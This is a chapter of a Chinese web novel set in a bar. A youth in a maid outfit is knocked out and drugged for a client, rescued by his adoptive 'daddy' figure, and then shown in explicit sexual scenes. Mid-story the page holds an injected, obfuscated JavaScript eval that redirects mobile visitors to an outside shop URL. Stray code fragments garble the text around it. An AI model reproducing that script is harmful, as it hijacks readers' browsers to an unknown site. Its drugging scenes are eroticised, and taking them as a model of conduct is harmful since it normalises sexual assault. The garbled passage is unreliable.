送冯哥回包厢后,艾满去找裴眠。
“眠眠,我胃疼,C2包厢那边是老客人,你帮我招待一下?”
听到有客人,裴眠眼睛都亮了,不过想起这是艾满的客户,他又有点担心。
“你把你的客人推给我,会不会不好?”
“没办法啊,我真的难受呢!”艾满挤出几滴眼泪,可怜兮兮地说,“冯哥喜欢女装,我想来想去,只有你合适了,眠眠,我胃烧得疼,你就帮帮我把!”
裴眠眼珠子转了转。
能赚钱的活儿,干嘛不干呢,况且裴妄言还没来,他在这里赚点小钱也不错。
“那好哦,我帮你吧。”裴眠说。
“太谢谢你啦!”艾满眼中闪过一丝狡黠,“冯哥这单……我们五五分!”
冯哥点了瓶唐培里侬,这一单提成就有小一千,艾满才不舍得全给裴眠。
裴眠抱着酒,去了C2的包厢。
走之前,艾满还捂着肚子咿呀咿呀说疼,裴眠一离开,他连忙直起腰,鬼鬼祟祟地凑上去。
总是要看人进去了,他才心安。
他一路蹑手蹑脚地跟着裴眠,包厢位置比较靠内,隔音也很好,只有走廊回荡着DJ的音乐声。
走到包厢门口,裴眠突然停下来。
艾满吓了一跳,赶紧躲在走廊拐角。
过了一会儿,他探出头,发现裴眠已经不在了,估计是进入包厢了。
艾满长长松了口气。
他也不想这样,只能怪裴眠,居然想抢他生意,他只是教训一下而已。
况且男人嘛,被揩点油又怎么样呢?
冯哥又不可能真吃了他。
这么想着,艾满心里放松许多,转身要离开。
一回头,竟然看到裴眠站在他身后。
艾满:“!!!”
他吓得两腿一软,跌坐在地上。
“你……你不是进去了吗!”
裴眠手里还抱着那瓶一万多的唐培里侬,上下扫了眼艾满。
“你还说胃疼,这不是好好的吗?”
“我、我只是来上洗手间!”
裴眠嗤笑了声。虽然他看着娇气,但那是因为裴妄言把他养得好。以前他在福利院时候,日子也是很艰难的。
他本就视力残缺,比起健康的孩子,他要很努力、很乖巧,才能被领养。
天真无邪只是他的保护色。
藏起周凯的作业本,暗戳戳使坏,那才是真正的他。
所以他只是看着懵懂,同性的嫉妒,男人们垂涎的眼神,裴眠再明白不过了。
他早就看到冯哥了,只是没吱声。
艾满震惊地看着裴眠,“所以你从一开始就知道,你是故意的?”
“是哦。”裴眠眼神凌厉,“再有下次,这酒就不是送去包厢了,而是直接砸你脑袋上!”
“你——!”
艾满气得整张脸都绿了。
他才不相信裴眠有这个胆子,但他又不敢赌。
他悻悻缩在墙角,不敢反驳。
裴眠放下唐培里侬,转身离开。
刚走两步,“咚”的一声,艾满连忙抬起头,看到裴眠昏死倒在地上,他旁边,是冯哥的助理。
助理凉凉地看着艾满。
“冯哥说,你的动作太慢了。”
*
裴眠软绵绵地躺在包厢的沙发上,艾满弓着腰,毕恭毕敬地把唐培里侬交给冯哥。
“再点一瓶,”冯哥满意地说,“算你的。”
艾满喜出望外,“谢谢冯哥!”
艾满离开后,助理上前,掰开裴眠的嘴,给他塞了颗药丸。
冯哥喜欢男孩子,但喜欢主动的,抗拒太强的不好玩。
喂药后,助理也离开了。
包厢里只剩下冯哥和裴眠。
冯哥眼冒精光地盯着裴眠,呼吸渐渐变重。
助理那一手刀用了力气,裴眠还昏迷着,但药效已经上来,他无意识地扯了扯衣领,露出领口修长的脖颈,还有清晰漂亮的锁骨。
那一身女仆装掐着他细嫩的腰,勒出一道明显的凹陷。
冯哥不可自控地有了反应。
等不及药效彻底发作,他急不可耐地朝着裴眠伸出手……
“嘭——!”
包厢的门被人狠狠踹开,冯哥的兴致被打断,气得爆粗口,“谁啊!没看到老子忙着呢!”
拳头直接砸上冯哥的面门!冯哥两眼一黑,脑袋嗡嗡作响,鼻腔瞬间一阵温热。
他摸到鼻腔流出的温热液体,气得发疯,“草!到底是谁——”
看清眼前的男人,冯哥话音戛然而止。
“言、言总?”
裴妄言的脸色阴沉得吓人,他没给冯哥过多眼色,目光死死锁定在沙发上的裴眠。
裴眠还穿着那身女仆装,小脸绯红,呼吸紊乱,束带勒住内凹的腰线,纤细的腰身仿佛一折就断。
裙摆早已在挣扎中卷到了大腿根,黑色的吊带丝袜勒进柔嫩的大腿肉里,勒出一圈微微下陷的软肉。
裴妄言呼吸一滞。
没等冯哥解释,裴妄言又是一记重拳,狠狠砸在冯哥脸上!
冯哥被砸得满脸是血,裴妄言的拳头却没有间断,一拳狠过一拳。
冯哥抱着头求饶,“言总!我不知道他是您的人啊!我错了!我真的错了!我还没动他呢!我都还没碰到他!”
裴妄言终于止住拳头。
他呼吸粗重,语气沉沉,“他怎么了?”
冯哥疼得龇牙咧嘴,也顾不上疼了,赶紧说,“只是助兴的药,真的!只是如此而已!”
“daddy……daddy……”
沙发那边传来裴眠含糊呢喃的声音,药效已经发作出来,裴眠不舒服地挣扎着。
裴妄言眉头紧锁,大步过去照看裴眠。
裴眠的身体滚烫,小脸红彤彤的,裴妄言刚一过去,他就像八爪鱼一样抱住裴妄言。
“daddy……”
“徐助理!”
“言总!我在!我在!”
徐助理气喘吁吁地冲到包厢,裴妄言的速度太快,徐助理没跟上,这会儿才赶过来。
裴妄言迅速脱下外套,严严实实地盖在裴眠身上,然后打横抱起他。
“这里你来处理。”
徐助理扫了一眼满脸是血的冯哥,立刻会意,“您放心,我会处理好的。”
“联系楚医生,去我的公寓。”
“是。”
吩咐好一切,裴妄言抱着裴眠头也不回地离开。
酒吧依然灯红酒绿,DJ的音乐响彻着这封闭的空间,男男女女肆意舞蹈,没有人注意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739086|208940||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
到离开的两个人。
裴妄言抱着裴眠走出酒吧。
司机看两人出来,连忙打开迈巴赫的门。
“去公寓。”裴妄言吩咐。
公寓是他在市区的大平层,距离沈逾白的酒吧很近,裴妄言平时都住在那里。
司机没敢多言,连忙开车。
进入后座后,裴妄言依旧抱着裴眠,裴眠的药效发作得更加厉害,整个人软乎乎的,缩在裴妄言怀里,用鼻子去蹭裴妄言的脖颈。
“daddy……我好难受……”
“忍着。”裴妄言不客气道。
可裴眠脑袋昏沉,冯哥的药像酒,能麻痹人的意识,又能助兴。裴眠只觉得自己像落水的旅人,飘飘荡荡中终于抓到了根浮木,用尽一切抱住裴妄言。
裴妄言的身体明明也很烫。
但只要抱着,似乎就能好点。
裴眠把脑袋埋进裴妄言的颈窝里,小狗一样啃咬裴妄言的脖颈,湿//热的唇舌又吮又吸。
裴妄言被搞得几乎发疯,一把拉起外套挡住裴眠的脸。
十分钟后,迈巴赫到达公寓的地下车库,也不等司机来开车,裴妄言抱着裴眠大步流星地离开。
直到进入公寓,裴妄言才松了口气。
但怀里的人显然不是如此,整个人圈在裴妄言身上。
“daddy……帮帮我……”
裴妄言闭了闭眼。
他按住裴眠乱动的手,给徐助理打电话。
“楚医生呢!还没过来?!”
徐助理叫苦不迭,“言总,已经联系楚医生了,但大半夜,人家在睡觉呢!而且从他那到您公寓,要小半小时……”
小半小时……
裴妄言只觉得两眼一黑。
怀中的人无知无觉,抱裴妄言抱得更紧。他也不知道怎么办,只本能地抱着眼前的人。
女仆裙的百褶裙摆下凸起了一块,裴眠看了一眼,不安地哭起来。
“daddy……我好像坏掉了……”
他全身软的一塌糊涂,脑袋往裴妄言怀里钻。
裴妄言一直觉得自己的克制力得很好,可是此刻也有点绷不住。
想吃掉他。
就在这里。
少年没有看到男人眼中翻涌的漆黑浓雾,只在他怀里钻着,寻找着能舒服点的办法。
然而一切都是徒劳。
突然,身下悬空,裴眠惊呼一声,裴妄言已经抱着他,去了浴室。
…
浴室里氤氲着温热的雾气。
裴妄言过去都是用冷水给自己降温,可他舍不得用冷水浇裴眠,浴缸里是满满的温水,还有少年低低的喘//气。
“daddy……”
裴眠脸红的不敢看。
裴妄言挤了几泵沐浴露,大手里满是滑腻的泡沫。
裴眠哭得不能自已,咬住裴妄言的肩膀,“……daddy……我好难受……”
水波荡漾,时间一晃而过,也就不过几分钟。
裴妄言都愣住了。
他低低一笑,声音磁性又好听,“这么快?”
裴眠哭得更难受了,理智回笼了些许,温水弄湿了他的女仆裙,裙摆湿哒哒黏在他身上,更凸显他身体的曲线。
他整个人都缩在裴妄言怀里,而裴妄言……还抱着他。